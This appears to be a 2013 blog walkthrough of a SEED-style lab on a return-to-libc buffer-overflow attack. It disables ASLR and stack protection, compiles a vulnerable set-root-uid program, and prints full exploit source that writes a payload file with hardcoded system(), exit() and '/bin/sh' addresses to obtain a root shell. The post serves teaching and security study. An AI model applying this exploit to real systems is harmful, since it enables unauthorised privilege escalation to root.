Skip to content

Return-to-libc Attack Step by Step

June 23, 2013

A common way to exploit buffer-overflow vulnerability is to overflow the buffer with a malicious shell code, and then cause the vulnerable program to jump to the shell code that is stored in the stack. To prevent these types of attacks, some operating systems (for example Fedora) allow system administrators to make stacks non-executable; therefore, jumping to the shell code will cause the program to fail.

Unfortunately, the above protection scheme is not fool-proof; there exists a variant of buffer-overflow attack called the return-to-libc attack, which does not need an executable stack; it does not even use shell code. Instead, it causes the vulnerable program to jump to some existing code, such as the system() function in the libc library, which is already loaded into the memory.

Ubuntu and several other Linux-based systems use address space randomization to randomize the starting address of heap and stack. This makes guessing the exact addresses difficult; guessing addresses is one of the critical steps of buffer-overflow attacks. So disable this feature using the following command:

$ sudo -s

Password: (enter your password)

# sysctl -w kernel.randomize_va_space=0

# exit

The GCC compiler implements a security mechanism called “Stack Guard” to prevent buffer overflows.

In the presence of this protection, buffer overflow will not work. You can disable this protection when you are compiling the program using the switch -fno-stack-protector. For example, to compile a program

example.c with Stack Guard disabled, you may use the following command:

$ sudo gcc -fno-stack-protector example.c

The vulnerable program

/* retlib.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
unsigned int xormask = 0xBE;
int i, length;
int bof(FILE *badfile)
{
    char buffer[12];
    /* The following statement has a buffer overflow problem */
    length = fread(buffer, sizeof(char), 52, badfile);
    /* XOR the buffer with a bit mask */
    for (i=0; i<length; i++) {
       buffer[i] ˆ= xormask;
    }
    return 1;
}

int main(int argc, char **argv)
{
    FILE *badfile;
    badfile = fopen("badfile", "r");
    bof(badfile);
    printf("Returned Properly\n");
fclose(badfile);
return 1;
}

Compile the above vulnerable program and make it set-root-uid. You can achieve this by compiling it in the root account, and chmod the executable to 4755:

$ sudo -s

Password (enter your password)

# gcc -fno-stack-protector -o retlib retlib.c

# chmod 4755 retlib

# exit

The above program has buffer overflow vulnerability. It first reads an input of size 52 bytes from a file called “badfile” into a buffer of size 12, causing the overflow. The function fread() does not check boundaries, so buffer overflow will occur. Since this program is a set-root-uid program, if a normal user can exploit this buffer overflow vulnerability, the normal user might be able to get a root shell. It should be noted that the program gets its input from a file called “badfile”. This file is under users’ control. Now, our objective is to create the contents for “badfile”, such that when the vulnerable program copies the contents into its buffer, a root shell can be spawned.

Stack smash attack

Image

Figure 1: Layout of the stack.

  • Above figure 1 illustrates the contents of the stack after buffer overflow. First 12 bytes occupies the actual memory allocated to the stack. So during the overflow attack I kept first 12 bytes buf[] array (in exploit_1.c file) empty.
  • Next 4 bytes would be the pointer to the previous stack frame. So this contains the memory address of the stack frame of the main() method. So next 4 bytes of the buf[] array is empty as well. So first 16 bytes of the buf[] array is empty during the attack.
  •    Originally next 4 bytes represent the return address of the bof() function. So after function execution, program will return to the code line of this address. This would be the prominent target of the stack overflow attack. During the overflow this 4 bytes (17 – 20) was overridden with the memory address of the system () libc function.
  • After the completion of system() function, execution will return to the address specified in this 4 bytes block. So address of the exit() function should be place in this 4 bytes. (21 – 24).
  • During the execution of system () function, program will look up next 4 bytes for any available arguments of system() function call (25 – 28). So this 4 bytes contains the address to “/bin/sh” string.

2. Finding correct addresses.

  1. Address of the system ()Image
  2. Address of the exit()
    Image
  3. Address of the “/bin/sh”Image
  4. Then following steps were carried out.
    1. Store”/bin/sh” as an environment variable. Note that I have keep some spaces before “/bin/sh” string. These spaces will act as a NOP section and will give some breathing space.
    2. Run findBinShAddress program to get the environment variable address. Here is the source code of the program.
#include <stdio.h>
void main(){
char* binsh = getenv("BINSH");
if(binsh){
    printf("%p %s\n", (unsigned int)binsh, binsh);
}
}

Then run gdb and check the value of the memory address returned by above program. You will notice that above program didn’t return the correct address. So you have to adjust the returned address to get exact “/bin/sh” string. Here original address returned by the program was incremented by 25 to get the exact string (23 spaces and “H” and “=” characters).

5. Getting root shell

Image
Sample Code

/* exploit_1.c - Program that creates the file with the malicious input */</pre>
#include <stdlib.h>

#include <stdio.h>

#include <string.h>

int main(int argc, char **argv)

{

unsigned int xormask = 0xBE;

char buf[52];

FILE *badfile;

memset(buf, 1, sizeof(buf));

badfile = fopen("./badfile", "w");

/* You need to decide the addresses and

the values for X, Y, Z. The order of the following

statements does not imply the order of X, Y, Z.

Actually, we intentionally scrambled the order. */

*(long *) &buf[24] = 0xbffffe1f ; // address of "/bin/sh"

//..... // string on stack

*(long *) &buf[16] = 0xb7ea78b0 ; // system() call

*(long *) &buf[20] = 0xb7e9cb30 ; // exit()

&nbsp;

/* Added XOR mask to bypass mask in retlib.c program.*/

int i = 0;

for (i = 0; i < 52; i++) {

buf[i] ^=xormask;

}

fwrite(buf, sizeof(buf), 1, badfile);

fclose(badfile);

}
<pre><span style="font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 13px; line-height: 19px;">[/sorucecode]

</span></pre>
Find BinSh address

1</pre>
#include <stdio.h>
<pre></pre>
void main(){
<pre></pre>
char* binsh = getenv("BINSH");
<pre></pre>
if(binsh){
<pre></pre>
printf("%p %s\n", (unsigned int)binsh, binsh);
<pre></pre>
}
<pre></pre>
}
<pre><span style="font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 13px; line-height: 19px;">
About these ads

From → Uncategorized

Leave a Comment

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

Follow

Get every new post delivered to your Inbox.

%d bloggers like this: